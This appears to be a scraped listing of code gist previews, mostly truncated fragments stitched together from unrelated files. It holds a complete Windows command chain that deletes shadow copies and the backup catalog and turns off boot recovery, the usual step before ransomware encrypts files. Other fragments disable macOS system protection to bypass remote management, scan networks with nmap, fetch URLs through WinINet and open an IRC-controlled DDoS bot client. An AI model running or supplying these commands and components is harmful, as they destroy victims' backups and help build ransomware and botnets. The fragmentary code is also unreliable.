This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cmd.exe /C vssadmin.exe delete shadows /all /quiet & wmic.exe shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# 2/2/2021 | |
# stats class | |
import math | |
def factorial(n): | |
fact = 1 | |
for i in range(1, n+1): | |
fact = fact * i |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#COMMANDS TO DISABLED DEP (REMOTE MANAGEMENT) ON A MACBOOK | |
#HARD DRIVE SHOULD HAVE PREVIOUSLY BEEN FORMATTED | |
#MOUNT HARD DRIVE BEFORE YOU DO THIS IN DISK UTILITY | |
#GO INTO TERMINAL (FIGURE IT OUT) | |
#TURN DEVICE INTEGRITY PROTECTION OFF | |
csrutil disable |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
RANGE=$1 | |
PORT=$2 | |
nmap $RANGE -p $PORT -v -n | awk '/is up/ {print up}; {gsub (/\(|\)/,""); up = $NF}' > out.txt |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
int sockprintf(int sock, const char* words, ...) { | |
static char textBuffer[1024]; | |
va_list args; | |
va_start(args, words); | |
vsprintf(textBuffer, words, args); | |
va_end(args); | |
return send(sock, textBuffer, strlen(textBuffer), NULL); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
int get(char *szUrl, char *recv_data, DWORD recv_size) { | |
DWORD NumberOfBytesRead = 0; | |
RtlZeroMemory(recv_data, recv_size); | |
HINTERNET connect = InternetOpen("browser", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); | |
if (connect) { | |
HINTERNET openAddr = InternetOpenUrl(connect, szUrl, NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION, 0); | |
if (openAddr) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/******************************************************************************* | |
* This is a IRC based distributed denial of service client. It connects to * | |
* the server specified below and accepts commands via the channel specified. * | |
* The syntax is: * | |
* !<nick> <command> * | |
* You send this message to the channel that is defined later in this code. * | |
* Where <nick> is the nickname of the client (which can include wildcards) * | |
* and the command is the command that should be sent. For example, if you * | |
* want to tell all the clients with the nickname starting with N, to send you * | |
* the help message, you type in the channel: * |